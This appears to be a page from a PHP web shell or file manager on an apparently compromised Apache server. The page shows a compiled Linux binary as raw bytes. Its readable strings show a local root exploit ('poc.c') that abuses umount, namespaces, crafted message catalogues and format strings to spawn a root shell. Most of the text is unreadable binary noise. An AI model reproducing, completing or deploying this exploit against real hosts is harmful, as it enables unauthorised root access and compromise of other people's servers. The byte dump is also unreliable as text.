|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > ' @ @ 8
@ @ @ @ )6 )6 ` ` ` X X | | 8 8 8 0 0 h h h D D Std 8 8 8 0 0 Ptd n n n Qtd Rtd | /lib64/ld-linux-x86-64.so.2 GNU GNU #<d~ ˝f* GNU < 0 @< ? ĉݣkemĹ@9 T a 4 , O " Y u 8 $ f m P O 6 F < ) w A 0 r _ F y ! ! " chdir memmem __cxa_finalize read strchr malloc memmove __assert_fail realpath stat __libc_start_main strcmp fprintf nanosleep clone memset strncmp getuid memchr free close open fchmod getgid pipe strlen strdup getenv sprintf execve geteuid snprintf sched_yield fork stderr dup2 memcpy mount strndup setresuid mknod kill poll strerror setresgid symlink __errno_location exit __isoc99_sscanf waitpid fwrite __stack_chk_fail strtoll fchown mkdir clock_gettime __environ libc.so.6 GLIBC_2.7 GLIBC_2.14 GLIBC_2.3 GLIBC_2.33 GLIBC_2.4 GLIBC_2.17 GLIBC_2.34 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable ii
ii
ii
ui ( ( ' ` @ x` H ` P ` X a ` a h 8a p a x a a 8a a a ؏ $ 7 > ? @ ( 0 8 @ H P X
` h p
x Ȏ Ў ؎ ! " # ( % 0 & 8 ' @ ( H ) P * X + ` , h - p . x / 0 1 2 3 4 5 6 8 9 ȏ : Џ ; HHo HtH 5m %m h h h h h h h h q h a h Q h
A h 1 h ! h
h h h h h h h h h h q h a h Q h A h 1 h ! h h h h h! h" h# h$ h% h& h' q h( a h) Q h* A h+ 1 h, ! h- h. h/ h0 h1 h2 h3 h4 h5 h6 %Ml D %ej D %]j D %Uj D %Mj D %Ej D %=j D %5j D %-j D %%j D % j D %j D %
j D %j D %i D %i D %i D %i D %i D %i D %i D %i D %i D %i D %i D %i D %i D %i D %i D %i D %}i D %ui D %mi D %ei D %]i D %Ui D %Mi D %Ei D %=i D %5i D %-i D %%i D % i D %i D %
i D %i D %h D %h D %h D %h D %h D %h D %h D %h D %h D %h D 1I^HHPTE11H=( h f. H=Qi HJi H9tHvh Ht H=!i H5i H)HH?HHHtHEh Htf D = i u+UH="h Ht H=&h dh ] w UHH H8dH%( HE1 HXHX e H<E H H9 HH9 H{H8: H'HPHPH+8HHP u2H8HHHHHPH8HHPH8HHXL
9 IȉH
9 HǸ LL ~%Hg H2 H8 HPH`HXHHWLL u(x% = ux@t HX8HPHH8H8 HXH HUdH+%( t UHH0H}uHUHEH/E EHcHE
H HEEEH} tHEH+EEHEEHcHEHHEEHcHMHEHHcu=EHcHEH <=u)E+EHUHcHJHUHHH HEHEE)E} C UHH dH%( HE1 HO7 HǸ E} y
> HH HHkHH HH)H9tH H$ H H)H Ht% HHH HHHHHEHME HΉEEU} y
MHEHz6 HHe He Hu MHEHW6 HHd Hd Ht,Hd Hd H
*6 HHǸ Z HUdH+%( t UHSH HxHplH`dH%( HE1Hgc HEE XEHH HxHH HNËEHH HpHH H*EЃEEE;l|lP(EUEHHHEEHcHE HHEHEHEHPHU HEHEHPHUlHEHPHU HEH lH HEHPHUʉHEHPHU HEH lH HEHPHUʉEHcHEHHEE } x EHH HxHH H4 HEHEHEHEHPHUUHEH+EHHEHPHUʉEHcHMHEHH/EHHHEEE;l\E } x EHH HpHH H` HEHEH
EHEHPHUUHEH+EHHEHPHUʉEHcHMHEHHEHHHEEE;l\HEH+EHMEHH9t(H= H H&2 HH2 H
E ?E E E E E HEHPHUUHcҋTЉEl9E~UEH`HEHUdH+%( tH] UHH@H}HuHUȉMdH%( HE1HEغ A HǸ E} y,H#` HUH
2 HHǸ HMUHuHEHHEEHcHMEHΉ EE9Et(H< H H0 HH1 HEHEHc HUdH+%( t UHH H $ H0HHdH%( HE1Dž HcHHо/ HHH tHH+HH3HHHIAHH0 HǸ ~(H; H* H/ HH0 HfH HR t4 t(H0; H, H(/ HHb0 HHcHH t HEdH+%( tS UHHuA HH0 HH0 HH/ HE} t(H: H< Hl. HH/ HSH/ Ht(HY: H= H1. HH/ H H/ HǸ E} y(H
: H? H- HH_/ HE UHSH H $ H( dH%( HE1[ Ha\ H H. H5 H H u(Hs9 HO H+- HHR/ HH H HH HǸ Z Z u@ HH[ HH5. HǸ ]a Z H`H
. HHǸ /H` HǸ y(H8 H[ H8, HH. H H
. HΉ3 (H-8 H] H+ HH[. HY H`H
;. HHǸ [H` HǸ " y(H7 Hb Hd+ HH- HKHH
- HHǸ HHgHHHΉ- (H'7 He H* HHU- HX H`H
Z- HHǸ UH` HǸ y(H6 Hj H^* HH- HEpHH
, HHǸ HHaHHHΉ' (H!6 Hm H) HHO, H W HX H
m, HHǸ EHW HX HX H Dž [HlX HH HW HHHu#HH HcW HH)X 'HH H9W HHuV HH+ HǸ ~(H4 H H( HH) H~HH_HH u(H4 H HO( HHN+ H6HHN+ HHH6W HHHHH6+ HǸ ~(H4 H H' HH( HHHHH!HV HHHHH* HǸ HHHHHHbV HHHHH* HǸ HHHHHHHH* HǸ ~(H2 H H& HH' HHU HH HHHE t4A t(H2 H HK& HH * H2 H* H HHHHH) HǸ ~(H2 H H% HH& HH A HǸ 5 (H1 H Hw% HHh) H^HHHHQ) HǸ ~(H[1 H H% HH=& HHcHHΉ
HHHS HHHHIHH( HǸ ] ~(H0 H H\$ HH% HC yHH u(Ha0 H H$ HHZ( H HHH S HH HH
3( HHǸ HHDž -H H
( HHH uH D H5' HǸ HHH H' H@HHHH' HPH' H H' H(H' H0H@H H HC t(H. H H" HH
$ HHHUHQ HHHHIHH' HǸ * ~(Hq. H H)" HHS# HH H t4 t(H. H H! HH# HHHHP HP HHHHIHH& HǸ CHH>HWP HHRO HUdH+%( tH] UHATSHPH}ȉuĉUHMDELME EE
E E 3EHH HEH EE;E~E;E}EEEE;E|Ń} yE E;Et@E+EԉEHcHEȉH& HǸ 1EEHHEȋE)EċE؉EE \EHH HEH 9Eu=UEЍPEHcHEȉH% HǸ EEHHEȋE)EăEE;E|} HE% EEHc}MUHEAAȉH[% HǸ aEEHHEȋE)EHEEP8)% EEHc}MUHEAAȉH%% HǸ EEHHEȋE)EċEDXEDPEDHED@ExEHED`EHc]UHEASARAQAPWQAEH$ HǸ H0EEHHEȋE)EĐHe[A\] UHHPH}dH%( HE1HEHƿ EHEH
HEЃ} t(H* HH H= HH H$HE HǸ Ẽ} xẺ+ KHEHƿ EHUHEH9~#HE HE HE HHUdH+%( t UHH H $ H dH%( HE1DžTxK HHK ? HǸ HHgXX t(H) Hh H HHi H \\ y(HU) Hk H HH5# H\ & HK H H# HW vHHXX t(H( Ht H HHy H Dž@ @HHH HhHh u(HG( Hy H HHH" H@P@HH HhHH @P@HH HhHH! H-@P@HH HhHH! H@ yHJ HH! HH! H H! HH! HH! HH|! H Hn! H(H`! H0HR! H8HD! H@H8! HHH/! HPH*! HXH&! H`H#! HhH!! HpH ! HxH ! HH!! HH#! HH! HHDž HHhHHHHXX t(H"& H H HH H`DžD DžH DžL `fDž Du)H-H HXX DH' HZXX u(HG H H Hj kHH H)HHHHHΉXX u D
X y(H3G H H{ H XHDžP D. D D tD Hw HHcH H HHpHp u$H HP DHHpH)ЃPxLHHHPHHHH
HHǸ cXX PPLLL tP9HsL HE H/ H HkHE H@HxHxH HH HHH HHH- HHxH HH HHH HHHHHD HHHHIIH5m HǸ HxH HHHPHHH HHxH HcHHHHxH HcHHHHHH.D HIH55 HǸ D OHHxH D@HxH pHHHjHQIHщ HHHC HH
HHǸ JHHH HH H H HH HH HH?C HH HXX t`H~ H$ H HHV HDžH -HB DH
% HHǸ mbP bH+PHcЋPHHHHHHP)H O`b\ @\ dd;\t(Hn H? H HHT HTHUdH+%( t3 UHH0H}dH%( HE1H} uH H<HEH} u H HEHEHEHE H A HMHEHHH%A HUH
HHǸ HUdH+%( t UHH HdH%( HE1HH HPDž( Du9H@ HPH
[ HHǸ K 9 H`HHA H!@@ t(H Hc H3 HH H|uEtwH? HPH
HHǸ H HǸ kDD ^D bH{? HPH
HHǸ - E Dž, O ,P,HH HHH HX,; u/H> HXH
HHǸ HXHH H? ,P,HH HHH HH
HH
t= / uHH t-H$> H H H " (= /H= HXH
f HHǸ ,; H= HPH
< HHǸ \H= Hu1 st#Hk= H/ H H?H8 HiHI= HB= Hu2H HHt H HH+H = H= Hu(H< H3 H HU H
< H< HPH5 HǸ n 44 Dž8
Dž0 0HZ< 80H5 HǸ
H`HH H<< t%H< HY Hm HK|u/H; H H HDž( 80;80H; HG Hu He: ~A: t: |#HC; HE Ho H( u<H; H& H HH HKDž( (HUdH+%( tX HH Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
"9 (stretch)" ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A from_archive $ > O "16.04.3 LTS (Xenial Xerus)" ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A _nl_load_locale_from_archive & @
"18.3 (Sylvia)" poc.c testPathName umount %.*s/%s Binary search path element too long, ignoring it.
/etc/os-release VERSION NAME Detected OS version: %s
nextCatalogueStringStart-catalogueData==preambleLength+contentLength Failed to open catalogue file %s for writing.
result==catalogueDataLength %s/%.*s result<PATH_MAX (!result)||(errno==EEXIST) tmpfs /tmp !result !chdir("/tmp") ready handle>=0 No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
stackData USERNS clone failed: %d (%s)
/proc/%d/setgroups setGroupsFd>=0 deny result>0 /proc/%d/uid_map uidMapFd>=0 0 %d 1
/proc/%d/gid_map gidMapFd>=0 Namespaced filesystem created with pid %d
/proc/%d/cwd namespaceMountBaseDir (unreachable)/x (unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES (unreachable)/tmp/%s/X.X/LC_MESSAGES (unreachable)/tmp/%s/X.x/LC_MESSAGES %s/(unreachable)/tmp/down !result||(errno==EEXIST) /proc/self/exe %s/DATEMSK handle>0 #!%s
unused %s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo stackDumpStr AA%%%d$lnAAAAAA %016lx %%1$%dhhx%%%d$hhn 1234 5678 %s: mountpoint not found %s: not mounted %s: target is busy
(In some cases useful info about processes that
use the device is found by lsof(8) or fuser(1).) %s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo %s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo %%1$%1$d.%1$ds %%%d$hn %%1$%d.%ds%%1$s%%1$s%%%d$hn %%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn -%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s
childPid>=0 Starting subprocess
umountEnv LC_ALL=C.UTF-8 AANGUAGE=X.X / down LABEL=78 LABEL=789 LABEL=789a LABEL=789ab LABEL=789abc LABEL=789abcd LABEL=789abcde LABEL=789abcdef LABEL=789abcdef0 Poll timed out
IO error talking to child
AAAAAAAA Stack content received, calculating next phase
Found source address location %p pointing to target address %p with value %p, libc offset is %p
Changing return address from %p to %p, %p
Using escalation string %s BBBB5678%3$s
BBBBABCD%s
Logic error, state %d
waitedPid==childPid SHELL /bin/sh Failed to launch shell %s
%s: you are already root, invoking shell ...
%s: internal invocation, setting SUID mode
%s: invoked as SUID, invoking shell ...
%s requires parameter
--Pid Invalid pid value
Unknown argument %s
%s: setting up environment ...
Failed to detect OS version, continuing anyway
/bin PATH Failed to locate "umount" binary, is PATH correct?
%s: using umount at "%s".
Attempting to gain root, try %d of %d ...
Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?
Executable now root-owned
Escalation FAILED, maybe target system not (yet) supported by exploit!
No namespace cleanup for preexisting namespaces yet, do it manually.
Cleanup completed, re-invoking binary
findUmountBinaryPathname createMessageCatalogueData writeMessageCatalogue createDirectoryRecursive usernsChildFunction prepareNamespacedProcess waitForTriggerPipeOpen attemptEscalation main ; ( f@ U` P( L l i zR x & D $ 4 Ȱ FJ w ?:*3$" \ t p Y EC
EC
EC
h EC
H 4 EC
0 $ EC
P EC
p EC
T} EC
Gw EC
b
EC
# EC
) EC
( '
V o
y (
( o o
o o z o 0 @ P ` p ! ! ! 0! @! P! `! p! ! ! ! ! ! ! ! ! " " " 0" @" P" `" p" " " " " " " " " # # # 0# @# P# `# p# # # ` x` ` ` a a 8a a a a 8a a a GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0 P' ' 3 ' I U | ( @ h m m m m 3 3 n I 0n _ Pn u pn n Tq n ^D
4 Q e V " = P f w >4 # * 3 E V ?O b z ( _C ) = L \ W ! m ) @ ` % 8 U o ' & t h0 O ) ' : x, U k > " Y _ p x1 Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry poc.c osSpecificExploitDataList __PRETTY_FUNCTION__.8 __PRETTY_FUNCTION__.7 __PRETTY_FUNCTION__.6 __PRETTY_FUNCTION__.5 usernsChildFunction __PRETTY_FUNCTION__.4 __PRETTY_FUNCTION__.3 __PRETTY_FUNCTION__.2 __PRETTY_FUNCTION__.1 __PRETTY_FUNCTION__.0 __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ getenv@GLIBC_2.2.5 free@GLIBC_2.2.5 attemptEscalation __libc_start_main@GLIBC_2.34 __errno_location@GLIBC_2.2.5 strncmp@GLIBC_2.2.5 _ITM_deregisterTMCloneTable mkdir@GLIBC_2.2.5 osRelease clone@GLIBC_2.2.5 clock_gettime@GLIBC_2.17 setresuid@GLIBC_2.2.5 _edata _fini strlen@GLIBC_2.2.5 mount@GLIBC_2.2.5 chdir@GLIBC_2.2.5 __stack_chk_fail@GLIBC_2.4 getuid@GLIBC_2.2.5 setresgid@GLIBC_2.2.5 dup2@GLIBC_2.2.5 strchr@GLIBC_2.2.5 symlink@GLIBC_2.2.5 snprintf@GLIBC_2.2.5 nanosleep@GLIBC_2.2.5 __assert_fail@GLIBC_2.2.5 memset@GLIBC_2.2.5 prepareNamespacedProcess geteuid@GLIBC_2.2.5 detectOsRelease close@GLIBC_2.2.5 pipe@GLIBC_2.2.5 invokeShell sched_yield@GLIBC_2.2.5 memchr@GLIBC_2.2.5 read@GLIBC_2.2.5 strndup@GLIBC_2.2.5 findUmountBinaryPathname waitForTriggerPipeOpen execve@GLIBC_2.2.5 __data_start strcmp@GLIBC_2.2.5 strtoll@GLIBC_2.2.5 fprintf@GLIBC_2.2.5 __gmon_start__ stat@GLIBC_2.33 mknod@GLIBC_2.33 memmem@GLIBC_2.2.5 __dso_handle realpath@GLIBC_2.3 getReleaseFileField memcpy@GLIBC_2.14 createStackWriteFormatString umountPathname _IO_stdin_used kill@GLIBC_2.2.5 getgid@GLIBC_2.2.5 malloc@GLIBC_2.2.5 secondPhaseCataloguePathname __isoc99_sscanf@GLIBC_2.7 _end killNamespacedProcessFlag writeMessageCatalogue __bss_start main fchmod@GLIBC_2.2.5 poll@GLIBC_2.2.5 namespacedProcessPid memmove@GLIBC_2.2.5 waitpid@GLIBC_2.2.5 open@GLIBC_2.2.5 fchown@GLIBC_2.2.5 createMessageCatalogueData __environ@GLIBC_2.2.5 sprintf@GLIBC_2.2.5 exit@GLIBC_2.2.5 fwrite@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable osReleaseExploitData strdup@GLIBC_2.2.5 strerror@GLIBC_2.2.5 messageCataloguePreamble secondPhaseTriggerPipePathname __cxa_finalize@GLIBC_2.2.5 _init fork@GLIBC_2.2.5 stderr@GLIBC_2.2.5 createDirectoryRecursive .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 0 6 h h $ I W o 8 a i
y q o z z ~ o
( B ( # # # # p ' ' . V V
` ` n n o o 8 | | | ~ X 0 + `